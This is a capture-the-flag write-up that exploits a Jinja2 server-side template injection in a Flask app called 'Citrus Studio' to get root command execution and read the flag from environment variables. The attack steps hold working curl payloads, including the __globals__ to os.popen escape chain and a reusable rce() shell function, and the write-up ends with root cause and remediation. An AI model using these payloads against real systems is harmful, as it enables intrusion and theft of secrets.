Citrus Studio — SSTI to RCE

CTF Write-Up: Server-Side Template Injection leading to Remote Code Execution

Challenge	PwnZone CTF 2026
Target	Citrus Studio — http://54.72.82.22:8050/
Vulnerability	Server-Side Template Injection (Jinja2) → Remote Code Execution
Flag	`safctf{42dd8c3f359acdfc9b4250f4864ffc35}`

The Challenge

Citrus Studio presented itself as a harmless indie animation studio landing page, complete with a cutesy tagline ("A little color, a little motion, and a very big imagination") and a form titled **"Lock Up The Usual Suspects"** — just a name field and a Submit button. Nothing on the surface hinted at an API, let alone a vulnerability. The whole challenge was about finding what was hiding behind that innocent-looking form.

Workflow

1 Finding the hidden endpoint

The visible page gave no obvious clues — no exposed JS bundle with API calls, no helpful comments in the HTML. Content discovery was performed with `gobuster`, using the SecLists `raft-medium-words.txt` wordlist against the root path with a `.json` extension, in case a JSON API existed somewhere.

```
gobuster dir -u http://54.72.82.22:8050/ -w ~/SecLists/SecLists/Discovery/Web-Content/raft-medium-words.txt -x
json -t 50
```

The scan was slow and noisy (many timeouts, likely intentional rate-limiting), but one real hit stood out:

RESULT

greet (Status: 405) [Size: 153]

A `405 Method Not Allowed` is a strong signal — the route exists, it simply doesn't accept GET. That strongly suggested it was the backend for the name-submission form seen on the page.

2 Working out how to talk to it

A POST with a JSON body returned `200 OK`, but the reflected name field was blank — indicating the server wasn't parsing JSON. This is a classic sign of Flask reading `request.form`, which only understands traditional form-encoded data. Switching formats confirmed it instantly:

```
curl -s -X POST http://54.72.82.22:8050/greet -d "name=test"
```

RESULT

Hello, test! Find The Suspects!

The name parameter was being reflected directly into the page.

3 Figuring out how it was reflected

Reflection alone could mean several things. The fastest way to distinguish basic XSS from something deeper is a Jinja2 arithmetic probe, since Flask apps commonly use Jinja2 templating:

```
curl -s -X POST http://54.72.82.22:8050/greet -d 'name={{7*7}}'
```

RESULT
Hello, 49!

Not the literal string `{{7*7}}` — the *evaluated result*. This was the moment the finding flipped from "maybe XSS" to confirmed **Server-Side Template Injection**. User input wasn't just being reflected into HTML; it was being handed straight to the Jinja2 template engine for execution.

4 Confirming the blast radius

Before attempting code execution, the scope of template access was verified:

```
curl -s -X POST http://54.72.82.22:8050/greet -d "name={{config}}"
```

This dumped Flask's entire config object, including `SECRET_KEY`. The key was base64-encoded; decoding it twice unwound into a joke left by the challenge author ("Was it really supposed to be secretive?") — a red herring. More importantly, it confirmed the template had **unrestricted access to live Python objects**, not a sandboxed subset.

5 Escalating to RCE

With full object access confirmed, the well-known Jinja2 SSTI escape chain was used — walking from `self` through `__init__.__globals__` to reach Python's `__builtins__`, then importing `os` to gain a shell-equivalent primitive:

```
curl -s -X POST http://54.72.82.22:8050/greet \
  --data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
```

RESULT
Hello, uid=0(root) gid=0(root) groups=0(root)

Arbitrary command execution, running as **root**.

6 Finding the flag

To avoid retyping the full payload for every command, it was wrapped in a reusable shell function:

```
rce() {
  curl -s -X POST http://54.72.82.22:8050/greet \
    --data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('$1').read() }}" \
    | grep -zoP '(?s)(?<=Hello, ).*?(?=! Find)'
}
```

A `find / -iname '*flag*'` search came up empty, so enumeration widened to basic filesystem checks and environment variables — and `env` was the one that paid off:

```
rce "env"
```

```
FLAG=safctf{42dd8c3f359acdfc9b4250f4864ffc35}
```

The flag was never written to disk — it was injected into the container as an environment variable, a common CTF pattern that filename-based searches will always miss.

Exploit Chain Summary

```
Form on homepage
→ gobuster discovers /greet (405 on GET)
→ POST with form-encoding accepted; name reflected
→ {{7*7}} → 49 confirms Jinja2 SSTI
```

```
→ {{config}} confirms full object access (not sandboxed)
→ __globals__.__builtins__ gadget → os.popen('id') → root RCE
→ env → FLAG
```

Root Cause

The application passes untrusted user input directly into a Jinja2 template-rendering call (consistent with `render_template_string(f"...{name}...")`) rather than using `render_template()` with a parameterized context. Jinja2's default, non-sandboxed environment exposes Python's full object model, allowing any reachable object to be used to traverse back to `__builtins__` and achieve arbitrary code execution.

Remediation

- Never pass user input into `render_template_string()` or any template-compilation function.
- Use `render_template()` with autoescaping and pass user data as a context variable — never interpolated into the template string itself.
- If dynamic templates are unavoidable, use Jinja2's `SandboxedEnvironment` (noting that sandbox escapes remain an ongoing research area).
- Apply input validation / allow-listing on user-supplied fields.
- Run application containers as a non-root user to limit the impact of any future code-execution vulnerability.